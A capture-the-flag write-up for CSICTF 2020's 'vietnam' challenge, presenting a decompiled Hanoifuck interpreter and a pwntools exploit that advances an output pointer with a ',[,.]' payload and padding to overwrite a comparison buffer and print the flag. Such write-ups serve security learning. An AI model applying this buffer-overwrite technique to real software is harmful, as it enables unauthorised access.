CSICTF20
The Viet Cong is transmitting a secret message. They built a password checker so that only a selected few can view the secret message. We've recovered the binary, we need you to find out what they're trying to say.
Official writeup can be found here.
undefined8 main(void) {
undefined *puVar1;
int iVar2;
int local_18;
int local_14;
char *local_10;
local_10 = (char *)malloc(0x400);
fgets(local_10,0x400,stdin);
setbuf(stdout,(char *)0x0);
while (puVar1 = sa, *local_10 != '\0') {
switch(*local_10) {
case '!':
tmp = sa;
sa = sb;
sb = sc;
sc = puVar1;
break;
case '$':
sa = sa + 1;
*sa = 1;
break;
case '+':
sa[-1] = *sa + sa[-1];
sa = sa + -1;
break;
case ',':
iVar2 = getchar();
*sa = (char)iVar2;
break;
case '-':
sa[-1] = sa[-1] - *sa;
sa = sa + -1;
break;
case '.':
puVar1 = str + 1;
*str = *sa;
str = puVar1;
break;
case '[':
if (*sa == '\0') {
local_14 = 1;
while (local_14 != 0) {
local_10 = local_10 + 1;
if (*local_10 == '[') {
local_14 = local_14 + 1;
}
else {
if (*local_10 == ']') {
local_14 = local_14 + -1;
}
}
}
}
break;
case ']':
if (*sa != '\0') {
local_18 = 1;
while (local_18 != 0) {
local_10 = local_10 + -1;
if (*local_10 == '[') {
local_18 = local_18 + -1;
}
else {
if (*local_10 == ']') {
local_18 = local_18 + 1;
}
}
}
}
}
local_10 = local_10 + 1;
}
str = STR;
iVar2 = strcmp(STR,"HELLO\n");
if (iVar2 == 0) {
puts(str);
system("cat flag.txt");
}
else {
puts("Failed.");
}
return 0;
}
This is an interpreter for Hanoifuck (which I discovered after the CTF). I zoomed in to a few operators:
,
: read a character and write it at*sa
.
: write*sa
at*str
, then increment*str
[
: if*sa
is zero, jump to the next]
]
: if*sa
is not zero, jump to the previous[
str
is at 0x404078
, while STR
is at 0x404ca0
.
We can make use of the 4 operators discussed to write the payload ,[,.]
.
This reads in a character to *sa
, then while *sa
is not zero, keep reading in characters and writing it to str
. Eventually, we can write HELLO\n
at STR
, then terminate the write by sending in a null byte.
from pwn import *
# r = process("./vietnam")
r = remote("chall.csivit.com", 30814)
# gdb.attach(r, """
# b *main+612
# continue""")
payload = ",[,.]" # loop, incrementing str until we send null
r.send(payload)
r.send(cyclic(1019))
r.send("HELLO\n")
r.send("\x00")
r.interactive()